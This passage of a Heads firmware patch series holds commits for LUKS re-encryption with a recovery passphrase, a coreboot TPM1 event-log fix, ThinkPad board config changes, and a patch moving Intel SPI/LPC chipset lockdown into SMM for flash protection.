if DO_WITH_DEBUG cryptsetup open --test-passphrase $luks_container --key-slot $i --key-file /tmp/secret/luks_current_Disk_Recovery_Key_passphrase >/dev/null 2>&1; then + DRK_KEYSLOT=$i + DEBUG "$luks_container: Found key-slot $DRK_KEYSLOT that can be unlocked with the current passphrase. breaking loop" + break else - #Reencryption was successful. Cleanup should be called only when done - #Exporting successfully used passphrase possibly reused by oem-factory-reset - export luks_current_Disk_Recovery_Key_passphrase - export LUKS + DEBUG "Key slot $i on $luks_container cannot be unlocked with the current passphrase" fi done + + if [ $DRK_KEYSLOT -eq -1 ]; then + whiptail_error --title "$luks_container: Wrong current LUKS Disk Recovery Key passphrase?" --msgbox \ + "If you previously changed it and do not remember it, you will have to reinstall the OS from an external drive.\n\nTo do so, place the ISO file and its signature file on root of an external drive, and select Options-> Boot from USB \n\nHit Enter to retry." 0 80 + TRACE_FUNC + detect_boot_device + mount -o remount,rw /boot + rm -f /boot/kexec_key_devices.txt + mount -o remount,ro /boot + luks_secrets_cleanup + unset LUKS + continue + fi + + # --perf-no_read_workqueue and/or --perf-no_write_workqueue improve encryption/reencrypton performance on kernel 5.10.9+ + # bypassing dm-crypt queues. + # Ref https://github.com/cloudflare/linux/issues/1#issuecomment-729695518 + # --resilience=none disables the resilience feature of cryptsetup, which is enabled by default + # --force-offline-reencrypt forces the reencryption to be done offline (no read/write operations on the device) + # --disable-locks disables the lock feature of cryptsetup, which is enabled by default + + echo -e "\nReencrypting $luks_container LUKS encrypted drive content with current Recovery Disk Key passphrase..." + warn "DO NOT POWER DOWN MACHINE, UNPLUG AC OR REMOVE BATTERY DURING REENCRYPTION PROCESS" + + if ! DO_WITH_DEBUG cryptsetup reencrypt \ + --perf-no_read_workqueue --perf-no_write_workqueue \ + --resilience=none --force-offline-reencrypt --disable-locks \ + "$luks_container" --key-slot "$DRK_KEYSLOT" \ + --key-file /tmp/secret/luks_current_Disk_Recovery_Key_passphrase; then + whiptail_error --title "$luks_container: Wrong current LUKS Disk Recovery Key passphrase?" --msgbox \ + "If you previously changed it and do not remember it, you will have to reinstall the OS from an external drive.\n\nTo do so, place the ISO file and its signature file on root of an external drive, and select Options-> Boot from USB \n\nHit Enter to retry." 0 80 + TRACE_FUNC + detect_boot_device + mount -o remount,rw /boot + rm -f /boot/kexec_key_devices.txt + mount -o remount,ro /boot + luks_secrets_cleanup + unset LUKS + else + export luks_current_Disk_Recovery_Key_passphrase + export LUKS + fi done } From c445ff067eebd8c4c481cbd595c45657d0ab6006 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Wed, 30 Oct 2024 15:04:37 -0400 Subject: [PATCH 309/619] patches/coreboot-*: fix tpm1 cbmem crash on 'cbmem -L' repro: git fetch https://review.coreboot.org/coreboot refs/changes/27/84927/1 && git format-patch -1 --stdout FETCH_HEAD > patches/coreboot-24.02.01/0004-cbmem_tpm-clear_whole_log_on_creation.patch Then copy patch around in forks patch dirs Signed-off-by: Thierry Laurion --- ...bmem_tpm-clear_whole_log_on_creation.patch | 37 +++++++++++++++++++ ...bmem_tpm-clear_whole_log_on_creation.patch | 37 +++++++++++++++++++ ...bmem_tpm-clear_whole_log_on_creation.patch | 37 +++++++++++++++++++ 3 files changed, 111 insertions(+) create mode 100644 patches/coreboot-24.02.01/0004-cbmem_tpm-clear_whole_log_on_creation.patch create mode 100644 patches/coreboot-dasharo-unreleased/0004-cbmem_tpm-clear_whole_log_on_creation.patch create mode 100644 patches/coreboot-purism/0001-cbmem_tpm-clear_whole_log_on_creation.patch diff --git a/patches/coreboot-24.02.01/0004-cbmem_tpm-clear_whole_log_on_creation.patch b/patches/coreboot-24.02.01/0004-cbmem_tpm-clear_whole_log_on_creation.patch new file mode 100644 index 000000000..adb939789 --- /dev/null +++ b/patches/coreboot-24.02.01/0004-cbmem_tpm-clear_whole_log_on_creation.patch @@ -0,0 +1,37 @@ +From b83a7607203d285b76e94ffd2013c55b184f5d42 Mon Sep 17 00:00:00 2001 +From: =?UTF-8?q?Micha=C5=82=20=C5=BBygowski?= +Date: Wed, 30 Oct 2024 10:50:37 +0100 +Subject: [PATCH] security/tpm/tspi/log-tpm1.c: Clear whole log area on + creation +MIME-Version: 1.0 +Content-Type: text/plain; charset=UTF-8 +Content-Transfer-Encoding: 8bit + +The log area was not entirely cleared on creation resulting in +garbage after the last valid lgo entry. It caused the cbmem utility +to parse invalid events and access data outside the log area. +In the TPM2 log sources, the entire area is being cleared, thus the +issue has not been observed. + +Change-Id: I7c780b62b1c6507e1dd1806b20b0270e364cde3d +Signed-off-by: Michał Żygowski +--- + src/security/tpm/tspi/log-tpm1.c | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/src/security/tpm/tspi/log-tpm1.c b/src/security/tpm/tspi/log-tpm1.c +index 481b569cd5..453e74b4e8 100644 +--- a/src/security/tpm/tspi/log-tpm1.c ++++ b/src/security/tpm/tspi/log-tpm1.c +@@ -33,7 +33,7 @@ void *tpm1_log_cbmem_init(void) + if (!tclt) + return NULL; + +- memset(tclt, 0, sizeof(*tclt)); ++ memset(tclt, 0, tpm_log_len); + hdr = &tclt->spec_id; + + /* Fill in first "header" entry. */ +-- +2.39.5 + diff --git a/patches/coreboot-dasharo-unreleased/0004-cbmem_tpm-clear_whole_log_on_creation.patch b/patches/coreboot-dasharo-unreleased/0004-cbmem_tpm-clear_whole_log_on_creation.patch new file mode 100644 index 000000000..adb939789 --- /dev/null +++ b/patches/coreboot-dasharo-unreleased/0004-cbmem_tpm-clear_whole_log_on_creation.patch @@ -0,0 +1,37 @@ +From b83a7607203d285b76e94ffd2013c55b184f5d42 Mon Sep 17 00:00:00 2001 +From: =?UTF-8?q?Micha=C5=82=20=C5=BBygowski?= +Date: Wed, 30 Oct 2024 10:50:37 +0100 +Subject: [PATCH] security/tpm/tspi/log-tpm1.c: Clear whole log area on + creation +MIME-Version: 1.0 +Content-Type: text/plain; charset=UTF-8 +Content-Transfer-Encoding: 8bit + +The log area was not entirely cleared on creation resulting in +garbage after the last valid lgo entry. It caused the cbmem utility +to parse invalid events and access data outside the log area. +In the TPM2 log sources, the entire area is being cleared, thus the +issue has not been observed. + +Change-Id: I7c780b62b1c6507e1dd1806b20b0270e364cde3d +Signed-off-by: Michał Żygowski +--- + src/security/tpm/tspi/log-tpm1.c | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/src/security/tpm/tspi/log-tpm1.c b/src/security/tpm/tspi/log-tpm1.c +index 481b569cd5..453e74b4e8 100644 +--- a/src/security/tpm/tspi/log-tpm1.c ++++ b/src/security/tpm/tspi/log-tpm1.c +@@ -33,7 +33,7 @@ void *tpm1_log_cbmem_init(void) + if (!tclt) + return NULL; + +- memset(tclt, 0, sizeof(*tclt)); ++ memset(tclt, 0, tpm_log_len); + hdr = &tclt->spec_id; + + /* Fill in first "header" entry. */ +-- +2.39.5 + diff --git a/patches/coreboot-purism/0001-cbmem_tpm-clear_whole_log_on_creation.patch b/patches/coreboot-purism/0001-cbmem_tpm-clear_whole_log_on_creation.patch new file mode 100644 index 000000000..adb939789 --- /dev/null +++ b/patches/coreboot-purism/0001-cbmem_tpm-clear_whole_log_on_creation.patch @@ -0,0 +1,37 @@ +From b83a7607203d285b76e94ffd2013c55b184f5d42 Mon Sep 17 00:00:00 2001 +From: =?UTF-8?q?Micha=C5=82=20=C5=BBygowski?= +Date: Wed, 30 Oct 2024 10:50:37 +0100 +Subject: [PATCH] security/tpm/tspi/log-tpm1.c: Clear whole log area on + creation +MIME-Version: 1.0 +Content-Type: text/plain; charset=UTF-8 +Content-Transfer-Encoding: 8bit + +The log area was not entirely cleared on creation resulting in +garbage after the last valid lgo entry. It caused the cbmem utility +to parse invalid events and access data outside the log area. +In the TPM2 log sources, the entire area is being cleared, thus the +issue has not been observed. + +Change-Id: I7c780b62b1c6507e1dd1806b20b0270e364cde3d +Signed-off-by: Michał Żygowski +--- + src/security/tpm/tspi/log-tpm1.c | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/src/security/tpm/tspi/log-tpm1.c b/src/security/tpm/tspi/log-tpm1.c +index 481b569cd5..453e74b4e8 100644 +--- a/src/security/tpm/tspi/log-tpm1.c ++++ b/src/security/tpm/tspi/log-tpm1.c +@@ -33,7 +33,7 @@ void *tpm1_log_cbmem_init(void) + if (!tclt) + return NULL; + +- memset(tclt, 0, sizeof(*tclt)); ++ memset(tclt, 0, tpm_log_len); + hdr = &tclt->spec_id; + + /* Fill in first "header" entry. */ +-- +2.39.5 + From bdf00e73122fbe9b4fc8fd79be1be85c191df556 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Wed, 30 Oct 2024 16:06:23 -0400 Subject: [PATCH 310/619] t440p/w541 coreboot configs: bump CONFIG_CBFS_SIZE=0x800000 -> 0xBE4FFF (not sure why it was 8mb as opposed to all other 12mb opaque flash chips) Signed-off-by: Thierry Laurion --- config/coreboot-t440p.config | 2 +- config/coreboot-w541.config | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/config/coreboot-t440p.config b/config/coreboot-t440p.config index ac28f6754..8021acd55 100644 --- a/config/coreboot-t440p.config +++ b/config/coreboot-t440p.config @@ -117,7 +117,7 @@ CONFIG_DIMM_SPD_SIZE=256 CONFIG_FMDFILE="" CONFIG_NO_POST=y CONFIG_MAINBOARD_VENDOR="LENOVO" -CONFIG_CBFS_SIZE=0x800000 +CONFIG_CBFS_SIZE=0xBE4FFF CONFIG_LINEAR_FRAMEBUFFER_MAX_HEIGHT=1600 CONFIG_LINEAR_FRAMEBUFFER_MAX_WIDTH=2560 CONFIG_MAX_CPUS=8 diff --git a/config/coreboot-w541.config b/config/coreboot-w541.config index 5515e064e..81d7bd7b8 100644 --- a/config/coreboot-w541.config +++ b/config/coreboot-w541.config @@ -117,7 +117,7 @@ CONFIG_DIMM_SPD_SIZE=256 CONFIG_FMDFILE="" CONFIG_NO_POST=y CONFIG_MAINBOARD_VENDOR="LENOVO" -CONFIG_CBFS_SIZE=0x800000 +CONFIG_CBFS_SIZE=0xBE4FFF CONFIG_LINEAR_FRAMEBUFFER_MAX_HEIGHT=1600 CONFIG_LINEAR_FRAMEBUFFER_MAX_WIDTH=2560 CONFIG_MAX_CPUS=8 From fb975d064272ba2c7988270637e2ce952563c7ab Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Wed, 30 Oct 2024 16:18:14 -0400 Subject: [PATCH 311/619] t440p/w541: move to untested so that people don't flash those without external programmer for now repro: docker run -e DISPLAY=$DISPLAY --network host --rm -ti -v $(pwd):$(pwd) -w $(pwd) tlaurion/heads-dev-env:latest -- make BOARD=w541-hotp-maximized board.move_tested_to_untested docker run -e DISPLAY=$DISPLAY --network host --rm -ti -v $(pwd):$(pwd) -w $(pwd) tlaurion/heads-dev-env:latest -- make BOARD=w541-maximized board.move_tested_to_untested docker run -e DISPLAY=$DISPLAY --network host --rm -ti -v $(pwd):$(pwd) -w $(pwd) tlaurion/heads-dev-env:latest -- make BOARD=t440p-hotp-maximized board.move_tested_to_untested docker run -e DISPLAY=$DISPLAY --network host --rm -ti -v $(pwd):$(pwd) -w $(pwd) tlaurion/heads-dev-env:latest -- make BOARD=t440p-maximized board.move_tested_to_untested Signed-off-by: Thierry Laurion --- .circleci/config.yml | 16 ++++++++-------- .../UNTESTED_t440p-hotp-maximized.config} | 0 .../UNTESTED_t440p-maximized.config} | 0 .../UNTESTED_w541-hotp-maximized.config} | 0 .../UNTESTED_w541-maximized.config} | 0 5 files changed, 8 insertions(+), 8 deletions(-) rename boards/{t440p-hotp-maximized/t440p-hotp-maximized.config => UNTESTED_t440p-hotp-maximized/UNTESTED_t440p-hotp-maximized.config} (100%) rename boards/{t440p-maximized/t440p-maximized.config => UNTESTED_t440p-maximized/UNTESTED_t440p-maximized.config} (100%) rename boards/{w541-hotp-maximized/w541-hotp-maximized.config => UNTESTED_w541-hotp-maximized/UNTESTED_w541-hotp-maximized.config} (100%) rename boards/{w541-maximized/w541-maximized.config => UNTESTED_w541-maximized/UNTESTED_w541-maximized.config} (100%) diff --git a/.circleci/config.yml b/.circleci/config.yml index 02095919d..26917a2d8 100644 --- a/.circleci/config.yml +++ b/.circleci/config.yml @@ -411,29 +411,29 @@ workflows: - build: - name: t440p-maximized - target: t440p-maximized + name: UNTESTED_t440p-maximized + target: UNTESTED_t440p-maximized subcommand: "" requires: - x230-hotp-maximized - build: - name: t440p-hotp-maximized - target: t440p-hotp-maximized + name: UNTESTED_t440p-hotp-maximized + target: UNTESTED_t440p-hotp-maximized subcommand: "" requires: - x230-hotp-maximized - build: - name: w541-maximized - target: w541-maximized + name: UNTESTED_w541-maximized + target: UNTESTED_w541-maximized subcommand: "" requires: - x230-hotp-maximized - build: - name: w541-hotp-maximized - target: w541-hotp-maximized + name: UNTESTED_w541-hotp-maximized + target: UNTESTED_w541-hotp-maximized subcommand: "" requires: - x230-hotp-maximized diff --git a/boards/t440p-hotp-maximized/t440p-hotp-maximized.config b/boards/UNTESTED_t440p-hotp-maximized/UNTESTED_t440p-hotp-maximized.config similarity index 100% rename from boards/t440p-hotp-maximized/t440p-hotp-maximized.config rename to boards/UNTESTED_t440p-hotp-maximized/UNTESTED_t440p-hotp-maximized.config diff --git a/boards/t440p-maximized/t440p-maximized.config b/boards/UNTESTED_t440p-maximized/UNTESTED_t440p-maximized.config similarity index 100% rename from boards/t440p-maximized/t440p-maximized.config rename to boards/UNTESTED_t440p-maximized/UNTESTED_t440p-maximized.config diff --git a/boards/w541-hotp-maximized/w541-hotp-maximized.config b/boards/UNTESTED_w541-hotp-maximized/UNTESTED_w541-hotp-maximized.config similarity index 100% rename from boards/w541-hotp-maximized/w541-hotp-maximized.config rename to boards/UNTESTED_w541-hotp-maximized/UNTESTED_w541-hotp-maximized.config diff --git a/boards/w541-maximized/w541-maximized.config b/boards/UNTESTED_w541-maximized/UNTESTED_w541-maximized.config similarity index 100% rename from boards/w541-maximized/w541-maximized.config rename to boards/UNTESTED_w541-maximized/UNTESTED_w541-maximized.config From d59b4d9e900da29b603b3efc3ccd0e7787515a77 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Wed, 30 Oct 2024 19:29:49 -0400 Subject: [PATCH 312/619] w541/t440p hotp variants including non-htop: fix path to non-hotp board variants (this is annoying) Signed-off-by: Thierry Laurion --- .../UNTESTED_t440p-hotp-maximized.config | 2 +- .../UNTESTED_w541-hotp-maximized.config | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/boards/UNTESTED_t440p-hotp-maximized/UNTESTED_t440p-hotp-maximized.config b/boards/UNTESTED_t440p-hotp-maximized/UNTESTED_t440p-hotp-maximized.config index da0cd5101..a787f1315 100644 --- a/boards/UNTESTED_t440p-hotp-maximized/UNTESTED_t440p-hotp-maximized.config +++ b/boards/UNTESTED_t440p-hotp-maximized/UNTESTED_t440p-hotp-maximized.config @@ -1,5 +1,5 @@ # Inherit the rest from the base T440p config. -include $(pwd)/boards/t440p-maximized/t440p-maximized.config +include $(pwd)/boards/UNTESTED_t440p-maximized/UNTESTED_t440p-maximized.config CONFIG_HOTPKEY=y export CONFIG_AUTO_BOOT_TIMEOUT=5 diff --git a/boards/UNTESTED_w541-hotp-maximized/UNTESTED_w541-hotp-maximized.config b/boards/UNTESTED_w541-hotp-maximized/UNTESTED_w541-hotp-maximized.config index 204f12525..585ecd73b 100644 --- a/boards/UNTESTED_w541-hotp-maximized/UNTESTED_w541-hotp-maximized.config +++ b/boards/UNTESTED_w541-hotp-maximized/UNTESTED_w541-hotp-maximized.config @@ -1,5 +1,5 @@ # Inherit the rest from the base W541 config. -include $(pwd)/boards/w541-maximized/w541-maximized.config +include $(pwd)/boards/UNTESTED_w541-maximized/UNTESTED_w541-maximized.config CONFIG_HOTPKEY=y export CONFIG_AUTO_BOOT_TIMEOUT=5 From a5c1d8e929dd8dac94b2c236834d74e743773170 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Sun, 20 Oct 2024 12:54:27 -0400 Subject: [PATCH 313/619] dasharo coreboot fork patches: rename 501 and add PR0 patch; add coreboot config bits Signed-off-by: Thierry Laurion --- config/coreboot-nitropad-nv41.config | 9 +- ...ch => 0001-tpm_pirq-not_conditional.patch} | 0 ...002-pr0_chipset_locking-post_skylake.patch | 391 ++++++++++++++++++ 3 files changed, 398 insertions(+), 2 deletions(-) rename patches/coreboot-dasharo-unreleased/{501.patch => 0001-tpm_pirq-not_conditional.patch} (100%) create mode 100644 patches/coreboot-dasharo-unreleased/0002-pr0_chipset_locking-post_skylake.patch diff --git a/config/coreboot-nitropad-nv41.config b/config/coreboot-nitropad-nv41.config index 9484aaf51..0449d3b26 100644 --- a/config/coreboot-nitropad-nv41.config +++ b/config/coreboot-nitropad-nv41.config @@ -428,6 +428,7 @@ CONFIG_SOC_INTEL_COMMON_BLOCK_XHCI_ELOG=y CONFIG_SOC_INTEL_COMMON_PCH_CLIENT=y CONFIG_SOC_INTEL_COMMON_PCH_BASE=y CONFIG_SOC_INTEL_COMMON_PCH_LOCKDOWN=y +# CONFIG_SOC_INTEL_COMMON_SPI_LOCKDOWN_SMM is not set CONFIG_PCH_SPECIFIC_BASE_OPTIONS=y CONFIG_PCH_SPECIFIC_DISCRETE_OPTIONS=y CONFIG_PCH_SPECIFIC_CLIENT_OPTIONS=y @@ -489,8 +490,10 @@ CONFIG_PCIEXP_HOTPLUG=y CONFIG_INTEL_DESCRIPTOR_MODE_REQUIRED=y CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMBUS=y CONFIG_SOUTHBRIDGE_INTEL_COMMON_PIRQ_ACPI_GEN=y +CONFIG_HAVE_INTEL_CHIPSET_LOCKDOWN=y CONFIG_INTEL_DESCRIPTOR_MODE_CAPABLE=y # CONFIG_VALIDATE_INTEL_DESCRIPTOR is not set +# CONFIG_INTEL_CHIPSET_LOCKDOWN is not set CONFIG_FIXED_RCBA_MMIO_BASE=0xfed1c000 CONFIG_RCBA_LENGTH=0x4000 @@ -730,9 +733,11 @@ CONFIG_INTEL_TXT_LIB=y # CONFIG_INTEL_TXT is not set # CONFIG_STM is not set # CONFIG_INTEL_CBNT_SUPPORT is not set -CONFIG_BOOTMEDIA_LOCK_NONE=y -# CONFIG_BOOTMEDIA_LOCK_CONTROLLER is not set +# CONFIG_BOOTMEDIA_LOCK_NONE is not set +CONFIG_BOOTMEDIA_LOCK_CONTROLLER=y # CONFIG_BOOTMEDIA_LOCK_CHIP is not set +CONFIG_BOOTMEDIA_LOCK_WHOLE_RO=y +# CONFIG_BOOTMEDIA_LOCK_WHOLE_NO_ACCESS is not set # CONFIG_BOOTMEDIA_SMM_BWP is not set # end of Security diff --git a/patches/coreboot-dasharo-unreleased/501.patch b/patches/coreboot-dasharo-unreleased/0001-tpm_pirq-not_conditional.patch similarity index 100% rename from patches/coreboot-dasharo-unreleased/501.patch rename to patches/coreboot-dasharo-unreleased/0001-tpm_pirq-not_conditional.patch diff --git a/patches/coreboot-dasharo-unreleased/0002-pr0_chipset_locking-post_skylake.patch b/patches/coreboot-dasharo-unreleased/0002-pr0_chipset_locking-post_skylake.patch new file mode 100644 index 000000000..768dfc16c --- /dev/null +++ b/patches/coreboot-dasharo-unreleased/0002-pr0_chipset_locking-post_skylake.patch @@ -0,0 +1,391 @@ +From ff22122c229bbe2109de92ded773493428f7ece9 Mon Sep 17 00:00:00 2001 +From: =?UTF-8?q?Micha=C5=82=20=C5=BBygowski?= +Date: Sun, 20 Oct 2024 13:15:19 +0200 +Subject: [PATCH] soc/intel/lockdown: Allow locking down SPI and LPC in SMM +MIME-Version: 1.0 +Content-Type: text/plain; charset=UTF-8 +Content-Transfer-Encoding: 8bit + +Heads payload uses APM_CNT_FINALIZE SMI to set and lock down +the SPI controller with PR0 flash protection. Add new option +to skip LPC and FAST SPI lock down in coreboot and move it +to APM_CNT_FINALIZE SMI handler. + +Signed-off-by: Michał Żygowski +--- + src/soc/intel/alderlake/finalize.c | 4 ++- + src/soc/intel/cannonlake/finalize.c | 3 +- + src/soc/intel/common/block/lpc/Makefile.inc | 4 +++ + src/soc/intel/common/block/smm/smihandler.c | 10 ++++++ + .../common/pch/include/intelpch/lockdown.h | 3 ++ + src/soc/intel/common/pch/lockdown/Kconfig | 15 ++++++++ + .../intel/common/pch/lockdown/Makefile.inc | 5 +++ + src/soc/intel/common/pch/lockdown/lockdown.c | 33 +++++------------ + .../intel/common/pch/lockdown/lockdown_lpc.c | 23 ++++++++++++ + .../intel/common/pch/lockdown/lockdown_spi.c | 35 +++++++++++++++++++ + src/soc/intel/denverton_ns/lpc.c | 3 +- + src/soc/intel/elkhartlake/finalize.c | 3 +- + src/soc/intel/jasperlake/finalize.c | 3 +- + src/soc/intel/meteorlake/finalize.c | 3 +- + src/soc/intel/skylake/finalize.c | 3 +- + src/soc/intel/tigerlake/finalize.c | 3 +- + src/soc/intel/xeon_sp/finalize.c | 3 +- + 17 files changed, 123 insertions(+), 33 deletions(-) + create mode 100644 src/soc/intel/common/pch/lockdown/lockdown_lpc.c + create mode 100644 src/soc/intel/common/pch/lockdown/lockdown_spi.c + +diff --git a/src/soc/intel/alderlake/finalize.c b/src/soc/intel/alderlake/finalize.c +index 460c8af174e..9cd9351d96a 100644 +--- a/src/soc/intel/alderlake/finalize.c ++++ b/src/soc/intel/alderlake/finalize.c +@@ -84,7 +84,9 @@ static void soc_finalize(void *unused) + printk(BIOS_DEBUG, "Finalizing chipset.\n"); + + pch_finalize(); +- apm_control(APM_CNT_FINALIZE); ++ if (CONFIG(INTEL_CHIPSET_LOCKDOWN) || acpi_is_wakeup_s3()) ++ apm_control(APM_CNT_FINALIZE); ++ + tbt_finalize(); + if (CONFIG(USE_FSP_NOTIFY_PHASE_READY_TO_BOOT) && + CONFIG(USE_FSP_NOTIFY_PHASE_END_OF_FIRMWARE)) +diff --git a/src/soc/intel/cannonlake/finalize.c b/src/soc/intel/cannonlake/finalize.c +index ba7fc69b552..b5f727e97c7 100644 +--- a/src/soc/intel/cannonlake/finalize.c ++++ b/src/soc/intel/cannonlake/finalize.c +@@ -87,7 +87,8 @@ static void soc_finalize(void *unused) + printk(BIOS_DEBUG, "Finalizing chipset.\n"); + + pch_finalize(); +- apm_control(APM_CNT_FINALIZE); ++ if (CONFIG(INTEL_CHIPSET_LOCKDOWN) || acpi_is_wakeup_s3()) ++ apm_control(APM_CNT_FINALIZE); + if (CONFIG(DISABLE_HECI1_AT_PRE_BOOT) && + CONFIG(SOC_INTEL_COMMON_BLOCK_HECI1_DISABLE_USING_PMC_IPC)) + heci1_disable(); +diff --git a/src/soc/intel/common/block/lpc/Makefile.inc b/src/soc/intel/common/block/lpc/Makefile.inc +index b510cd0ec35..60792654b5a 100644 +--- a/src/soc/intel/common/block/lpc/Makefile.inc ++++ b/src/soc/intel/common/block/lpc/Makefile.inc +@@ -5,3 +5,7 @@ romstage-$(CONFIG_SOC_INTEL_COMMON_BLOCK_LPC) += lpc_lib.c + + ramstage-$(CONFIG_SOC_INTEL_COMMON_BLOCK_LPC) += lpc_lib.c + ramstage-$(CONFIG_SOC_INTEL_COMMON_BLOCK_LPC) += lpc.c ++ ++ifeq ($(CONFIG_SOC_INTEL_COMMON_SPI_LOCKDOWN_SMM),y) ++smm-$(CONFIG_SOC_INTEL_COMMON_BLOCK_LPC) += lpc_lib.c ++endif +diff --git a/src/soc/intel/common/block/smm/smihandler.c b/src/soc/intel/common/block/smm/smihandler.c +index 4bfd17bfd07..dcd74764957 100644 +--- a/src/soc/intel/common/block/smm/smihandler.c ++++ b/src/soc/intel/common/block/smm/smihandler.c +@@ -15,12 +15,14 @@ + #include + #include + #include ++#include + #include + #include + #include + #include + #include + #include ++#include + #include + #include + #include +@@ -343,6 +345,14 @@ static void finalize(void) + } + finalize_done = 1; + ++ if (CONFIG(SOC_INTEL_COMMON_SPI_LOCKDOWN_SMM)) { ++ /* SPI lock down configuration */ ++ fast_spi_lockdown_bios(CHIPSET_LOCKDOWN_COREBOOT); ++ ++ /* LPC/eSPI lock down configuration */ ++ lpc_lockdown_config(CHIPSET_LOCKDOWN_COREBOOT); ++ } ++ + if (CONFIG(SPI_FLASH_SMM)) + /* Re-init SPI driver to handle locked BAR */ + fast_spi_init(); +diff --git a/src/soc/intel/common/pch/include/intelpch/lockdown.h b/src/soc/intel/common/pch/include/intelpch/lockdown.h +index b5aba06fe0e..1b96f41a2a4 100644 +--- a/src/soc/intel/common/pch/include/intelpch/lockdown.h ++++ b/src/soc/intel/common/pch/include/intelpch/lockdown.h +@@ -22,4 +22,7 @@ int get_lockdown_config(void); + */ + void soc_lockdown_config(int chipset_lockdown); + ++void fast_spi_lockdown_bios(int chipset_lockdown); ++void lpc_lockdown_config(int chipset_lockdown); ++ + #endif /* SOC_INTEL_COMMON_PCH_LOCKDOWN_H */ +diff --git a/src/soc/intel/common/pch/lockdown/Kconfig b/src/soc/intel/common/pch/lockdown/Kconfig +index 8fce5e785c2..fbeb341e9ac 100644 +--- a/src/soc/intel/common/pch/lockdown/Kconfig ++++ b/src/soc/intel/common/pch/lockdown/Kconfig +@@ -1,7 +1,22 @@ + config SOC_INTEL_COMMON_PCH_LOCKDOWN + bool + default n ++ select HAVE_INTEL_CHIPSET_LOCKDOWN + help + This option allows to have chipset lockdown for DMI, FAST_SPI and + soc_lockdown_config() to implement any additional lockdown as PMC, + LPC for supported PCH. ++ ++config SOC_INTEL_COMMON_SPI_LOCKDOWN_SMM ++ bool "Lock down SPI controller in SMM" ++ default n ++ depends on HAVE_SMI_HANDLER ++ select SPI_FLASH_SMM ++ help ++ This option allows to have chipset lockdown for FAST_SPI and LPC for ++ supported PCH. If selected, coreboot will skip locking down the SPI ++ and LPC controller. The payload or OS is responsible for locking it ++ using APM_CNT_FINALIZE SMI. Used by heads to set and lock PR0 flash ++ protection. ++ ++ If unsure, say N. +\ No newline at end of file +diff --git a/src/soc/intel/common/pch/lockdown/Makefile.inc b/src/soc/intel/common/pch/lockdown/Makefile.inc +index 71466f8edd1..64aad562acf 100644 +--- a/src/soc/intel/common/pch/lockdown/Makefile.inc ++++ b/src/soc/intel/common/pch/lockdown/Makefile.inc +@@ -1,2 +1,7 @@ + ## SPDX-License-Identifier: GPL-2.0-only + ramstage-$(CONFIG_SOC_INTEL_COMMON_PCH_LOCKDOWN) += lockdown.c ++ramstage-$(CONFIG_SOC_INTEL_COMMON_PCH_LOCKDOWN) += lockdown_lpc.c ++ramstage-$(CONFIG_SOC_INTEL_COMMON_PCH_LOCKDOWN) += lockdown_spi.c ++ ++smm-$(CONFIG_SOC_INTEL_COMMON_SPI_LOCKDOWN_SMM) += lockdown_lpc.c ++smm-$(CONFIG_SOC_INTEL_COMMON_SPI_LOCKDOWN_SMM) += lockdown_spi.c +diff --git a/src/soc/intel/common/pch/lockdown/lockdown.c b/src/soc/intel/common/pch/lockdown/lockdown.c +index 1b1d99cc0c9..7e52fb826fe 100644 +--- a/src/soc/intel/common/pch/lockdown/lockdown.c ++++ b/src/soc/intel/common/pch/lockdown/lockdown.c +@@ -61,21 +61,24 @@ static void fast_spi_lockdown_cfg(int chipset_lockdown) + /* Set FAST_SPI opcode menu */ + fast_spi_set_opcode_menu(); + +- /* Discrete Lock Flash PR registers */ +- fast_spi_pr_dlock(); +- + /* Check if SPI transaction is pending */ + fast_spi_cycle_in_progress(); + + /* Clear any outstanding status bits like AEL, FCERR, FDONE, SAF etc. */ + fast_spi_clear_outstanding_status(); + +- /* Lock FAST_SPIBAR */ +- fast_spi_lock_bar(); +- + /* Set Vendor Component Lock (VCL) */ + fast_spi_vscc0_lock(); + ++ if (CONFIG(SOC_INTEL_COMMON_SPI_LOCKDOWN_SMM)) ++ return; ++ ++ /* Discrete Lock Flash PR registers */ ++ fast_spi_pr_dlock(); ++ ++ /* Lock FAST_SPIBAR */ ++ fast_spi_lock_bar(); ++ + /* Set BIOS Interface Lock, BIOS Lock */ + if (chipset_lockdown == CHIPSET_LOCKDOWN_COREBOOT) { + /* BIOS Interface Lock */ +@@ -95,24 +98,6 @@ static void fast_spi_lockdown_cfg(int chipset_lockdown) + } + } + +-static void lpc_lockdown_config(int chipset_lockdown) +-{ +- /* Set BIOS Interface Lock, BIOS Lock */ +- if (chipset_lockdown == CHIPSET_LOCKDOWN_COREBOOT) { +- /* BIOS Interface Lock */ +- lpc_set_bios_interface_lock_down(); +- +- /* Only allow writes in SMM */ +- if (CONFIG(BOOTMEDIA_SMM_BWP) && is_smm_bwp_permitted()) { +- lpc_set_eiss(); +- lpc_enable_wp(); +- } +- +- /* BIOS Lock */ +- lpc_set_lock_enable(); +- } +-} +- + static void sa_lockdown_config(int chipset_lockdown) + { + if (!CONFIG(SOC_INTEL_COMMON_BLOCK_SA)) +diff --git a/src/soc/intel/common/pch/lockdown/lockdown_lpc.c b/src/soc/intel/common/pch/lockdown/lockdown_lpc.c +new file mode 100644 +index 00000000000..69278ea343f +--- /dev/null ++++ b/src/soc/intel/common/pch/lockdown/lockdown_lpc.c +@@ -0,0 +1,23 @@ ++/* SPDX-License-Identifier: GPL-2.0-only */ ++ ++#include ++#include ++#include ++ ++void lpc_lockdown_config(int chipset_lockdown) ++{ ++ /* Set BIOS Interface Lock, BIOS Lock */ ++ if (chipset_lockdown == CHIPSET_LOCKDOWN_COREBOOT) { ++ /* BIOS Interface Lock */ ++ lpc_set_bios_interface_lock_down(); ++ ++ /* Only allow writes in SMM */ ++ if (CONFIG(BOOTMEDIA_SMM_BWP)) { ++ lpc_set_eiss(); ++ lpc_enable_wp(); ++ } ++ ++ /* BIOS Lock */ ++ lpc_set_lock_enable(); ++ } ++} +diff --git 